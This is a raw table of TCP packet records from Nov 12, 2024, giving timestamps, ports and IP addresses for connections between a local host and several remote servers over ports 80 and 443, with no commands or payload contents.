Nov 12, 2024 15:41:11.006973028 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.006978035 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.012211084 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.012260914 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.012265921 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.015727997 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.015775919 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.015779972 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.019226074 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.019274950 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.019279957 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.022068024 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.022121906 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.022125959 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.025057077 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.025105000 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.025109053 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.028314114 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.028363943 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.028367996 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.031580925 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.031639099 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.031642914 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.080890894 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.080924034 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.081240892 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.081324100 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.081372976 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.281852961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:11.281944036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:11.941514015 CET	49745	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.941586971 CET	443	49745	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.941708088 CET	49745	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.941936016 CET	49745	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.941953897 CET	443	49745	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:12.767486095 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:12.767529011 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:12.767607927 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:12.767760992 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:12.767777920 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:12.797919035 CET	443	49745	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:12.798150063 CET	49745	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:12.798172951 CET	443	49745	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:12.799168110 CET	443	49745	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:12.799262047 CET	49745	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:12.799619913 CET	49745	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:12.799676895 CET	443	49745	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:12.845629930 CET	49745	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:12.845647097 CET	443	49745	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:12.892554045 CET	49745	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:13.340863943 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:13.340923071 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:13.341007948 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:13.342590094 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:13.342602968 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:13.425409079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:13.425863981 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:13.430429935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:13.430691004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:13.430751085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:13.430860043 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:13.435836077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:13.619024992 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.619276047 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.619296074 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.620316982 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.620374918 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.621400118 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.621454954 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.621685982 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.621694088 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.673541069 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.865657091 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.865715027 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.865741968 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.865756035 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.865767956 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.865808010 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.865813971 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.866158009 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.866209030 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.866214991 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.873852015 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.873903990 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.873909950 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.924315929 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.924335003 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.971195936 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.982501030 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.982572079 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.982611895 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.982620955 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.985033989 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.985080957 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.985089064 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.989195108 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.989243984 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.989248991 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.997848034 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:13.997898102 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:13.997904062 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.006654978 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.006706953 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.006712914 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.015187025 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.015237093 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.015245914 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.024005890 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.024048090 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.024055004 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.032706022 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.032761097 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.032768965 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.040997028 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.041038036 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.041047096 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.095909119 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.095926046 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.099360943 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.099395990 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.099411011 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.099416971 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.099452972 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.099461079 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.099988937 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.100027084 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.100033998 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.123440027 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.123493910 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.123493910 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.123502970 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.123548985 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.123553038 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.123788118 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.123831987 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.123842001 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.123928070 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.123959064 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.123967886 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.123971939 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.124008894 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.124592066 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.126641035 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.126678944 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.126682997 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.132570982 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.132603884 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.132622004 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.132627964 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.132667065 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.138587952 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.144634008 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.144679070 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.144685984 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.144694090 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.144727945 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.150763988 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.156810999 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.156850100 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.156852961 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.156861067 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.156893969 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.162600040 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.168678045 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.168710947 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.168721914 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.168729067 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.168770075 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.174685955 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.180823088 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.180855036 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.180864096 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.180871964 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.180912018 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.186784983 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.190076113 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.190140009 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.192862988 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.192874908 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.192883968 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.192936897 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.192945004 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.193123102 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.216377020 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.216415882 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.216422081 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.216465950 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.216500044 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.216504097 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.216507912 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.216552019 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.216670990 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.216885090 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.216927052 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.216931105 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.221163034 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.221208096 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.221210957 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.221216917 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.221250057 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.226486921 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.231781960 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.231827021 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.231831074 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.236535072 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.237211943 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.237247944 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.237262964 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.237268925 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.237313986 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.238154888 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.240457058 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.283339977 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.283418894 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.283432961 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.283854961 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.283916950 CET	443	49747	142.250.181.238	192.168.2.4
Nov 12, 2024 15:41:14.283962965 CET	49747	443	192.168.2.4	142.250.181.238
Nov 12, 2024 15:41:14.480616093 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.480712891 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.480906010 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.480906010 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.480959892 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.480989933 CET	49748	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.480998039 CET	443	49748	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.523343086 CET	49754	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.523396969 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.523781061 CET	49754	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.523781061 CET	49754	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:14.523818970 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:14.865061998 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:14.868560076 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:15.039278984 CET	49745	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:15.048737049 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:15.048737049 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:15.053572893 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:15.053586960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:15.053602934 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:15.372436047 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:15.372533083 CET	49754	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:15.373954058 CET	49754	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:15.373967886 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:15.374264002 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:15.375679016 CET	49754	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:15.423331976 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:15.620417118 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:15.620481014 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:15.620531082 CET	49754	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:15.621340036 CET	49754	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:15.621366024 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:15.621377945 CET	49754	443	192.168.2.4	184.28.90.27
Nov 12, 2024 15:41:15.621383905 CET	443	49754	184.28.90.27	192.168.2.4
Nov 12, 2024 15:41:15.834156990 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:15.834227085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:15.849425077 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:15.854268074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:16.374861956 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:16.374922037 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:16.374998093 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:16.376405001 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:16.376420021 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:16.625845909 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:16.625978947 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:16.997771978 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:17.003253937 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:17.274211884 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:17.274286032 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:17.277029037 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:17.277040005 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:17.277268887 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:17.332282066 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:17.801595926 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:17.801657915 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:17.971714020 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:17.977008104 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.203949928 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:18.251342058 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.256272078 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256298065 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256311893 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256323099 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256357908 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.256387949 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.256428957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256439924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256449938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256462097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256475925 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.256477118 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256494045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.256503105 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.256516933 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.256546021 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.257190943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.258563042 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.415194035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.415229082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.415240049 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.415263891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.415275097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.415297031 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.415344000 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.415565014 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.415620089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.415668011 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.415942907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.415986061 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.415997028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.416004896 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.416034937 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.416038990 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.416047096 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.416073084 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.416100979 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.416780949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.416825056 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.416838884 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.416850090 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.416876078 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.416918039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.416929007 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.416965008 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.417681932 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.417726040 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.417738914 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.417752028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.417772055 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.417785883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.417789936 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.417817116 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.417854071 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.500792027 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.500813007 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.500823021 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.500849009 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.500864029 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.500874043 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.500876904 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:18.500901937 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.500916004 CET	49755	443	192.168.2.4	52.149.20.212
